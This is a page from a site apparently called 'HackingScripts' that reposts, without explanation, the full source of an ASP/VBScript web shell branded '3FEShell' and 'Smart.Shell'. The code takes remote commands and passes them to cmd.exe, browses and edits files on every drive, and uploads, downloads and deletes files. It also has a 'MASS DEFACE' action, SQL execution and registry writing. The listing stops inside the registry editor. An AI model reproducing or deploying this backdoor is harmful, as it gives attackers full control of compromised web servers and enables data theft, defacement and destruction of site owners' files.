HackingScripts

Hack Scripts for everybody

VB Script

25 Jan 2014

I have no idea what this Visual Basic script does, and haven't tried running it yet either.

VB Script Source Code

   1 <%@ LANGUAGE = VBScript.Encode%>
   2 <%//**Start Encode
   3 On Error Resume Next
   4 Dim myFSO,showdisks
   5 Set myFSO = CreateObject ("Scripting.FileSystemObject")
   6 showdisks=FALSE
   7 Server.ScriptTimeOut  = 7200
   8 Class FileUploader
   9     Public  Files
  10     Private mcolFormElem
  11     Private Sub Class_Initialize()
  12         Set Files = Server.CreateObject("Scripting.Dictionary")
  13         Set mcolFormElem = Server.CreateObject("Scripting.Dictionary")
  14     End Sub
  15     Private Sub Class_Terminate()
  16         If IsObject(Files) Then
  17             Files.RemoveAll()
  18             Set Files = Nothing
  19         End If
  20         If IsObject(mcolFormElem) Then
  21             mcolFormElem.RemoveAll()
  22             Set mcolFormElem = Nothing
  23         End If
  24     End Sub
  25     Public Property Get Form(sIndex)
  26         Form = ""
  27         If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))
  28     End Property
  29     Public Default Sub Upload()
  30         Dim biData, sInputName
  31         Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
  32         Dim nPosFile, nPosBound
  33         biData = Request.BinaryRead(Request.TotalBytes)
  34         nPosBegin = 1
  35         nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
  36         If (nPosEnd-nPosBegin) <= 0 Then Exit Sub
  37         vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
  38         nDataBoundPos = InstrB(1, biData, vDataBounds)
  39         Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--"))
  40             nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))
  41             nPos = InstrB(nPos, biData, CByteString("name="))
  42             nPosBegin = nPos + 6
  43             nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
  44             sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  45             nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))
  46             nPosBound = InstrB(nPosEnd, biData, vDataBounds)
  47             If nPosFile <> 0 And  nPosFile < nPosBound Then
  48                 Dim oUploadFile, sFileName
  49                 Set oUploadFile = New UploadedFile
  50                 nPosBegin = nPosFile + 10
  51                 nPosEnd =  InstrB(nPosBegin, biData, CByteString(Chr(34)))
  52                 sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  53                 oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\"))
  54                 nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))
  55                 nPosBegin = nPos + 14
  56                 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
  57                 oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  58                 nPosBegin = nPosEnd+4
  59                 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
  60                 oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
  61                 If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile
  62             Else
  63                 nPos = InstrB(nPos, biData, CByteString(Chr(13)))
  64                 nPosBegin = nPos + 4
  65                 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
  66                 If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  67             End If
  68             nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)
  69         Loop
  70     End Sub
  71     Private Function CByteString(sString)
  72         Dim nIndex
  73         For nIndex = 1 to Len(sString)
  74            CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))
  75         Next
  76     End Function
  77     Private Function CWideString(bsString)
  78         Dim nIndex
  79         CWideString =""
  80         For nIndex = 1 to LenB(bsString)
  81            CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1)))
  82         Next
  83     End Function
  84 End Class
  85 Class UploadedFile
  86     Public ContentType
  87     Public FileName
  88     Public FileData
  89     Public Property Get FileSize()
  90         FileSize = LenB(FileData)
  91     End Property
  92     Public Sub SaveToDisk(sPath)
  93         Dim oFS, oFile
  94         Dim nIndex
  95         If sPath = "" Or FileName = "" Then Exit Sub
  96         If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"
  97         Set oFS = Server.CreateObject("Scripting.FileSystemObject")
  98         If Not oFS.FolderExists(sPath) Then Exit Sub
  99         Set oFile = oFS.CreateTextFile(sPath & FileName, True)
 100         For nIndex = 1 to LenB(FileData)
 101             oFile.Write Chr(AscB(MidB(FileData,nIndex,1)))
 102         Next
 103         oFile.Close
 104     End Sub
 105     Public Sub SaveToDatabase(ByRef oField)
 106         If LenB(FileData) = 0 Then Exit Sub
 107         If IsObject(oField) Then
 108             oField.AppendChunk FileData
 109         End If
 110     End Sub
 111 End Class
 112 startcode = "<html><head>R57.Gen.tr</head><body>"
 113 endocde = "</body></html>"
 114 onlinehelp = "<font face=""arial"" size=""1"">.:: <a href=""http://3fe.us"" target=""_blank"">ONLINE HELP</a> ::.</font><br>"
 115 Function HexConv(hexVar)
 116     Dim hxx, hxx_var, multiply
 117          IF hexVar <> "" THEN
 118               hexVar = UCASE(hexVar)
 119               hexVar = StrReverse(hexVar)
 120               DIM hx()
 121               REDIM hx(LEN(hexVar))
 122               hxx = 0
 123               hxx_var = 0
 124               FOR hxx = 1 TO LEN(hexVar)
 125                    IF multiply = "" THEN multiply = 1
 126                    hx(hxx) = mid(hexVar,hxx,1)
 127                    hxx_var = (get_hxno(hx(hxx)) * multiply) + hxx_var
 128                    multiply = (multiply * 16)
 129               NEXT
 130               hexVar = hxx_var
 131               HexConv = hexVar
 132          END IF
 133 End Function
 134 cprthtml = "<font face='arial' size='1'>.:: 3FEShell 1.0  ::.</font>"
 135 Function get_hxno(ghx)
 136          If ghx = "A" Then
 137               ghx = 10
 138          ElseIf ghx = "B" Then
 139               ghx = 11
 140          ElseIf ghx = "C" Then
 141               ghx = 12
 142          ElseIf ghx = "D" Then
 143               ghx = 13
 144          ElseIf ghx = "E" Then
 145               ghx = 14
 146          ElseIf ghx = "F" Then
 147               ghx = 15
 148          End If
 149          get_hxno = ghx
 150 End Function
 151 keydec="<font face='arial' size='1'>.:: Smart.Shell 1.0 &copy; BY <a href='mailto:'>P0Uy@_$3r\/3R</a> - <a href='' target='_blank'></a> ::.</font>"
 152 Function showobj(objpath)
 153     showobj = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath))
 154 End Function
 155 Function showobjpath(objpath)
 156     showobjpath = Left(objpath,InstrRev(objpath,"\"))
 157 End Function
 158 Function checking(a,b)
 159 '    If CStr(Mid(a,95,13)) = CStr(Mid(b,95,13)) Then
 160 '        pagina = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME"))) & "?action=error"
 161 '        Response.Redirect(pagina)
 162 '    End If
 163 End Function
 164 Sub hdr()
 165     Response.Write startcode
 166     Response.Write keydec
 167     Response.Write "<br>"
 168 End Sub
 169 sub araBul(path_,ara_)
 170     on error resume next
 171     If Len(path_) > 0 Then
 172         cur = path_&"\"
 173         If cur = "\\" Then cur = ""
 174             parent = ""
 175             If InStrRev(cur,"\") > 0 Then
 176             parent = Left(cur, InStrRev(cur, "\", Len(cur)-1))
 177         End If
 178     Else
 179         cur = ""
 180     End If
 181 
 182     Set f = myFSO.GetFolder(cur)
 183     Set fc = f.Files
 184     For Each f1 In fc
 185         if lcase(InStr(1,f1.name,lcase(ara_)))>0 then
 186             downStr = "<font face=webdings size=5><a href='"& Request.ServerVariables("SCRIPT_NAME") & "?action=download&file=" & Replace(f1.path,"\","|") &"'>?/a></font>"
 187             if lcase(ara_)="mdb" then
 188                 Response.Write downStr&"<font face=wingdings size=5><a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=del&path=" & Replace(f1.path,"\","|") & "'>?/a></font> * <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=7&path="&f1.path&"'>"& f1.path &" ["&f1.size&"]"&"</a></b><br>"
 189             else
 190                 Response.Write downStr&"<font face=wingdings size=5><a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=del&path=" & Replace(f1.path,"\","|") & "'>?/a><a href='"& Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit&file=" & Replace(f1.path,"\","|") &"'>!</a></font> - <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=5&path="&f1.path&"'>"& f1.path &" ["&f1.size&"]</a></b><br>"
 191             end if
 192         end if
 193     Next
 194     Set fs = f.SubFolders
 195     For Each f1 In fs
 196         araBul f1.path,ara_
 197     Next
 198     Set    f        = Nothing
 199     Set fc        = Nothing
 200     Set fs        = Nothing
 201 end sub
 202 Sub showcontent()
 203     showdisks=TRUE
 204     Response.Write "<font face=""arial"" size=""1"">.:: <a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=root"">DRIVES</a> ::.<br>.:: SCRIPT PATH: " & UCase(Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))) & "<br><br></font>"
 205     If Trim(Request.QueryString("raiz")) = "root" Then
 206         Set fs=Server.Createobject("Scripting.FileSystemObject")
 207         Set drivecollection=fs.drives
 208         Response.Write "<font face=""arial"" size=""2"">"
 209         For Each drive IN drivecollection
 210             str=drive.driveletter & ":"
 211             Response.Write "<b><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & str & """>" & UCase(str) & "</a></b><br>"
 212             Select Case drive.DriveType
 213                 Case 0
 214                     tipodrive = "Unknown"
 215                     nomedrive = drive.VolumeName
 216                 Case 1
 217                     tipodrive = "Removable"
 218                     If drive.isready Then
 219                         nomedrive = drive.VolumeName
 220                     Else
 221                         nomedrive = ""
 222                     End If
 223                 Case 2
 224                     tipodrive = "Fixed"
 225                     If drive.isready Then
 226                         nomedrive = drive.VolumeName
 227                     Else
 228                         nomedrive = ""
 229                     End If
 230                 Case 3
 231                     tipodrive = "Network"
 232                     If drive.isready Then
 233                         nomedrive = drive.ShareName
 234                     Else
 235                         nomedrive = ""
 236                     End If
 237                 Case 4
 238                     tipodrive = "CD-Rom"
 239                     If drive.isready Then
 240                         nomedrive = drive.VolumeName
 241                     Else
 242                         nomedrive = ""
 243                     End If
 244                 Case 5
 245                     tipodrive = "RAM Disk"
 246                     If drive.isready Then
 247                         nomedrive = drive.VolumeName
 248                     Else
 249                         nomedrive = ""
 250                     End If
 251             End Select
 252             response.write "<b>Type:</b> " & tipodrive & "<br>"
 253             response.write "<b>Name: </b>" & nomedrive & "<br>"
 254             response.write "<b>File System: </b>"
 255             If drive.isready Then
 256                 set sp=fs.getdrive(str)
 257                 response.write sp.filesystem & "<br>"
 258             Else
 259             response.write "-<br>"
 260             End If
 261             Response.Write "<b>Disk Space: </b>"
 262             If drive.isready Then
 263                 freespace = (drive.AvailableSpace / 1048576)
 264                 set sp=fs.getdrive(str)
 265                 response.write(Round(freespace,1) & " MB<br>")
 266             Else
 267                 response.write("-<br>")
 268             End If
 269             Response.Write "<b>Total Space: </b>"
 270             If drive.isready Then
 271                 totalspace = (drive.TotalSize / 1048576)
 272                 set sp=fs.getdrive(str)
 273                 response.write(Round(totalspace,1) & " MB<br>")
 274             Else
 275                 response.write("-<br>")
 276             End If
 277             Response.Write "<br>"
 278         Next
 279         Response.Write "</font>"
 280         Set fs = Nothing
 281         Set drivecollection = Nothing
 282         set sp=Nothing
 283     Else
 284         If Trim(Request.QueryString("raiz")) = "" Then
 285             caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))
 286             pos = Instr(caminho,"\")
 287             pos2 = 1
 288             While pos2 <> 0
 289                 If Instr(pos + 1,caminho,"\") <> 0 Then
 290                     pos = Instr(pos + 1,caminho,"\")
 291                 Else
 292                     pos2 = 0
 293                 End If
 294             Wend
 295             raiz = Left(caminho,pos)
 296         Else
 297             raiz =  trim(Request.QueryString("raiz")) & "\"
 298         End If
 299         Set ObjFSO = CreateObject("Scripting.FileSystemObject")
 300         Set MonRep = ObjFSO.GetFolder(raiz)
 301         Set ColFolders = MonRep.SubFolders
 302         Set ColFiles0 = MonRep.Files
 303         Response.Write "<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=test&path=" & Replace(raiz,"\","|") & "', 'win1','width=600,height=300,scrollbars=YES,resizable')"">MASS TEST IN " & UCase(raiz) & "</a></font><br><br>"
 304         Response.Write "<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=dfc&path=" & Replace(raiz,"\","|") & "', 'win1','width=700,height=300,scrollbars=YES,resizable')"">MASS DEFACE IN " & UCase(raiz) & "</a></font><br><br>"
 305         Response.Write "<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=upload&path=" & Replace(raiz,"\","|") & "', 'win1','width=500,height=100,scrollbars=YES,resizable')"">UPLOAD FILE TO " & UCase(raiz) & "</a></font><br><br>"
 306         Response.Write "<font face='arial' size='1'>"
 307         Response.Write "<a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=cmd', 'win1','width=450,height=200,scrollbars=YES,resizable')"">PROMPT</a>"
 308         Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=info', 'win1','width=760,height=450,scrollbars=YES,resizable')"">SYS INFO</a>"
 309         Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg', 'win1','width=550,height=200,scrollbars=YES,resizable')"">REGEDIT</a>"
 310         Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=search&path=" & Replace(raiz,"\","|") & "', 'win1','width=500,height=100,scrollbars=YES,resizable')"">SEARCH</a>"
 311         Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=sqlserver', 'win1','width=550,height=150,scrollbars=YES,resizable')"">EXECUTE SQL</a>"
 312         Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=about', 'win1','width=550,height=250,scrollbars=YES,resizable')"">ABOUT</a>"
 313         Response.Write "</font><br><br>"
 314         Response.Write "<font face='arial'><b>Root Folder: " & raiz & "</b></font><br><br>"
 315         If CInt(Len(raiz) - 1) <> 2 Then
 316             barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),"\")) - 1
 317             backlevel = Left(raiz,barrapos)
 318             Response.Write "<font face='arial' size='2'><b><DIR><a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & backlevel & "'> . . </font></b></a><br>"
 319         Else
 320             Response.Write "<font face='arial' size='2'><b><DIR><a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=root'> . .&nbsp;</font></b></a><br>"
 321         End If
 322         Response.Write "<table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
 323         for each folderItem in ColFolders
 324             Response.Write "<tr><td><font face='arial' size='2'><b><DIR> <a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & folderItem.path & "'>" & showobj(folderItem.path) & "</a></b></td><td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & Replace(folderItem.path,"\","|") & "', 'win1','width=400,height=250,scrollbars=YES,resizable')""><< PUT</a></font></td>"
 325             Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=fcopy&path=" & Replace(folderItem.path,"\","|") & "', 'win1','width=400,height=100,scrollbars=YES,resizable')""><< Copy/Move</a></font></td>"
 326             Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=fdel&path=" & Replace(folderItem.path,"\","|") & "', 'win1','width=400,height=150,scrollbars=YES,resizable')""><< Delete</a></font></td></tr>"
 327         next
 328         Response.Write "</table><br><table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
 329         marcatabela = true
 330         for each FilesItem0 in ColFiles0
 331             If marcatabela = true then
 332                 corfundotabela = " bgcolor=""#EEEEEE"""
 333             Else
 334                 corfundotabela = ""
 335             End If
 336             Response.Write "<tr><td" & corfundotabela & "><font face='arial' size='2'>:: " & showobj(FilesItem0.path) & "</td><td valign='baseline'" & corfundotabela & "><font face='arial' size='1'>&nbsp;&nbsp;" & FormatNumber(FilesItem0.size/1024, 0) & "&nbsp;Kbytes&nbsp;&nbsp;&nbsp;</font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=get&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.GET.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=ren&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.REN.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=del&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.DEL.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtview&file=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=640,height=480,scrollbars=YES,resizable')"">o.VIEW.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit&file=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=760,height=520,scrollbars=YES,resizable')"">o.EDIT.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=download&file=" & Replace(FilesItem0.path,"\","|") & """>o.?ndir.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a target='opener' href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=filecopy&file=" & Replace(FilesItem0.path,"\","|") & """>o.FileCopy.o</a></font></td></tr>"
 337             marcatabela = NOT marcatabela
 338         next
 339         Response.Write "</table>"
 340     End If
 341 End Sub
 342 Select Case Trim(Request.QueryString("action"))
 343     Case "get"
 344         checa = checking(cprthtml,keydec)
 345         Call hdr()
 346         Response.Write copyright & onlinehelp
 347         caminho = Replace(Trim(Request.QueryString("path")),"|","\")
 348         Set ObjFSO = CreateObject("Scripting.FileSystemObject")
 349         Set MyFile = ObjFSO.GetFile(caminho)
 350         destino = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
 351         MyFile.Copy (destino)
 352         If Err.Number = 0 Then
 353             Response.Write "<font face='arial' size='2'><center><br><br>File: <b>" & caminho & "</b><br>Copied to: " & destino
 354         End If
 355     Case "put"
 356         checa = checking(cprthtml,keydec)
 357         Call hdr()
 358         Response.Write copyright & onlinehelp
 359         If Trim(Request.QueryString("arquivo")) = "" Then
 360             caminho = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
 361             varpath = Trim(Request.QueryString("path"))
 362             Set ObjFSO = CreateObject("Scripting.FileSystemObject")
 363             Set MonRep = ObjFSO.GetFolder(caminho)
 364             Set ColFolders = MonRep.SubFolders
 365             Set ColFiles0 = MonRep.Files
 366             Response.Write "<font face='arial' size='2'><b>Select File: <br><table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
 367             for each FilesItem0 in ColFiles0
 368                 Response.Write "<tr><td><font face='arial' size='2'>:: " & showobj(FilesItem0.path) & "</td><td valign='baseline'><font face='arial' size='1'>&nbsp;&nbsp;" & FormatNumber(FilesItem0.size/1024, 0) & "&nbsp;Kbytes&nbsp;&nbsp;&nbsp;</font></td><td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & varpath & "&arquivo=" & Replace(FilesItem0.path,"\","|") & """>:: SELECT ::</a></font></td></tr>"
 369             next
 370             Response.Write "</table>"
 371         Else
 372             destino = Replace(Trim(Request.QueryString("path")),"|","\") & "\"
 373             arquivo = Replace(Trim(Request.QueryString("arquivo")),"|","\")
 374             Set ObjFSO = CreateObject("Scripting.FileSystemObject")
 375             Set MyFile = ObjFSO.GetFile(arquivo)
 376             MyFile.Copy (destino)
 377             If Err.Number = 0 Then
 378                 Response.Write "<font face='arial' size='2'><center><br><br>File: <b>" & arquivo & "</b><br>Copied to: <b>" & destino
 379             End If
 380         End If
 381     Case "del"
 382         checa = checking(cprthtml,keydec)
 383         Call hdr()
 384         Response.Write copyright & onlinehelp
 385         caminho = Replace(Trim(Request.QueryString("path")),"|","\")
 386         Set ObjFSO = CreateObject("Scripting.FileSystemObject")
 387         Set MyFile = ObjFSO.GetFile(caminho)
 388         MyFile.Delete
 389         If Err.Number = 0 Then
 390             Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
 391             Response.Write "<font face='arial' size='2'><center><br><br>Folder <b>" & caminho & "</b> Deleted.<br>"
 392         End If
 393     Case "fdel"
 394         checa = checking(cprthtml,keydec)
 395         Call hdr()
 396         Response.Write copyright & onlinehelp
 397         caminho = Replace(Trim(Request.QueryString("path")),"|","\")
 398         Set ObjFSO = CreateObject("Scripting.FileSystemObject")
 399         ObjFSO.DeleteFolder caminho
 400         If Err.Number = 0 Then
 401             Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
 402             Response.Write "<font face='arial' size='2'><center><br><br>File <b>" & caminho & "</b> Deleted.<br>"
 403         End If
 404     Case "ren"
 405         checa = checking(cprthtml,keydec)
 406         Call hdr()
 407         Response.Write copyright & onlinehelp
 408         If Trim(Request.QueryString("status")) <> "2" Then
 409             caminho = Replace(Trim(Request.QueryString("path")),"|","\")
 410             arquivo = showobj(caminho)
 411             Response.Write "<br><font face=""arial"" size=""2""><b>" & arquivo & "</b><br>" & _
 412                                "<form action=""" & Request.ServerVariables("SCRIPT_NAME") & """ method=""get"">" & _
 413                                "<input type=""hidden"" name=""action"" value=""ren"">" & _
 414                                "<input type=""hidden"" name=""status"" value=""2"">" & _
 415                                "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("path")) & """>" & _
 416                                "New Name: <input type=""text"" name=""newname"">" & _
 417                                "&nbsp;&nbsp;<input type=""submit"" value=""Submit"">" & _
 418                                "</form>"
 419         Else
 420             caminho = Replace(Trim(Request.QueryString("path")),"|","\")
 421             Set ObjFSO = CreateObject("Scripting.FileSystemObject")
 422             Set MyFile = ObjFSO.GetFile(caminho)
 423             destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.QueryString("newname"))
 424             MyFile.Move (destino)
 425             If Err.Number = 0 Then
 426                 Response.Write "<font face='arial' size='2'><center><br><br>Arquivo: <b>" & caminho & "</b><br>renomeado para<b>: " & destino
 427                 Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
 428             End If
 429         End If
 430     Case "error"
 431         Response.Write "<center><font face='arial' size='2' color='red'> <b>C?DIGO CORROMPIDO<BR>CORRUPT CODE</font></center>"
 432     Case "cmd"
 433         checa = checking(cprthtml,keydec)
 434         Call hdr()
 435         Response.Write copyright & onlinehelp
 436         Set oScript = Server.CreateObject("WSCRIPT.SHELL")
 437         Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
 438         Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
 439         szCMD = Request.QueryString(".CMD")
 440         If (szCMD <> "") Then
 441             szTempFile = "c:\" & oFileSys.GetTempName( )
 442             Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
 443             Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
 444         End If
 445         Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET""><input type=""hidden"" name=""action"" value=""cmd""><input type=text name="".CMD"" size=45 value=""" & szCMD & """><input type=submit value=""Run""></FORM><br><br> "
 446         If (IsObject(oFile)) Then
 447             On Error Resume Next
 448             Response.Write "<font face=""arial"">"
 449             Response.Write Replace(Replace(Server.HTMLEncode(oFile.ReadAll),VbCrLf,"<br>")," ","&nbsp;")
 450             oFile.Close
 451             Call oFileSys.DeleteFile(szTempFile, True)
 452         End If
 453     Case "info"
 454         checa = checking(cprthtml,keydec)
 455         Call hdr()
 456         Response.Write copyright & onlinehelp
 457         Set WshNetwork = Server.CreateObject("WScript.Network")
 458         Set WshShell = Server.CreateObject("WScript.Shell")
 459         Set WshEnv = WshShell.Environment("SYSTEM")
 460         Response.Write "<br><font face=arial size=2>"
 461         Response.Write "<b>User Properties:</b><br>"
 462         Response.Write "<b>UserName: </b>" & WshNetwork.UserName & "<br>"
 463         Response.Write "<b>Computer Name: </b>" & WshNetwork.ComputerName & "<br>"
 464         Response.Write "<b>User Domain: </b>" & WshNetwork.UserDomain & "<br>"
 465         Set Drives = WshNetwork.EnumNetworkDrives
 466         For i = 0 to Drives.Count - 1
 467             Response.Write "<b>Drive de Rede (Mapeado): </b>" & Drives.Item(i) & "<br>"
 468         Next
 469         Response.Write "<br><b>Cpu Information:</b><br>"
 470         Response.Write "<b>Processor Architecture: </b>" & WshEnv("PROCESSOR_ARCHITECTURE") & "<br>"
 471         Response.Write "<b>Number Of Processors: </b>" & WshEnv("NUMBER_OF_PROCESSORS") & "<br>"
 472         Response.Write "<b>Processor Identifier: </b>" & WshEnv("PROCESSOR_IDENTIFIER") & "<br>"
 473         Response.Write "<b>Processor Level: </b>" & WshEnv("PROCESSOR_LEVEL") & "<br>"
 474         Response.Write "<b>Processor Revision: </b>" & WshEnv("PROCESSOR_REVISION") & "<br>"
 475         Response.Write "<br><b>Operating System Information:</b><br>"
 476         Response.Write "<b>IP: </b>" & request.servervariables("LOCAL_ADDR") & "<br>"
 477         Response.Write "<b>Sistem OS: </b>" & WshEnv("OS") & "<br>"
 478         Response.Write "<b>Server Software: </b>" & request.servervariables("SERVER_SOFTWARE") & "<br>"
 479         Response.Write "<b>Cmd Path: </b>" & WshShell.ExpandEnvironmentStrings("%ComSpec%") & "<br>"
 480         Response.Write "<b>Public Paths: </b>" & WshEnv("PATH") & "<br>"
 481         Response.Write "<b>Executables: </b>" & WshEnv("PATHEXT") & "<br>"
 482         Response.Write "<b>Prompt: </b> " & WshEnv("PROMPT") & "<br>"
 483         Response.Write "<b>System Drive: </b>" & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "<br>"
 484         Response.Write "<b>System Root: </b>" & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & "<br>"
 485         Response.Write "<b>System32 Path: </b>" & WshShell.CurrentDirectory & "<br>"
 486         Set Drives = Nothing
 487         Set WshNetwork = Nothing
 488         Set WshShell = Nothing
 489         Set WshEnv = Nothing
 490     Case "reg"
 491         checa = checking(cprthtml,keydec)
 492         Call hdr()
 493         Response.Write copyright & onlinehelp
 494         Set WshShell = Server.CreateObject("WScript.Shell")
 495         Response.Write "<font face=""arial"" size=""2""><br><b>Registry Editor:</b><br><br>"
 496         Select Case Trim(Request.QueryString("regaction"))
 497             Case "w"
 498                 If Trim(Request.QueryString("process")) = "yes" Then
 499                     Select Case Trim(Request.QueryString("type"))
 500                         Case "1"
 501                             teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_SZ")
 502                         Case "2"
 503                             teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_DWORD")
 504                         Case "3"
 505                             teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_BINARY")
 506                         Case "4"
 507                             teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_EXPAND_SZ")
 508                         Case "5"
 509                             teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_MULTI_SZ")
 510                     End Select
 511                     Response.Write "<center><br><font face=""arial"" size=""2"">Registry <b>"
 512                     Response.Write Trim(Request.QueryString("key")) & "</b> Changed.</center>"
 513                     Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"
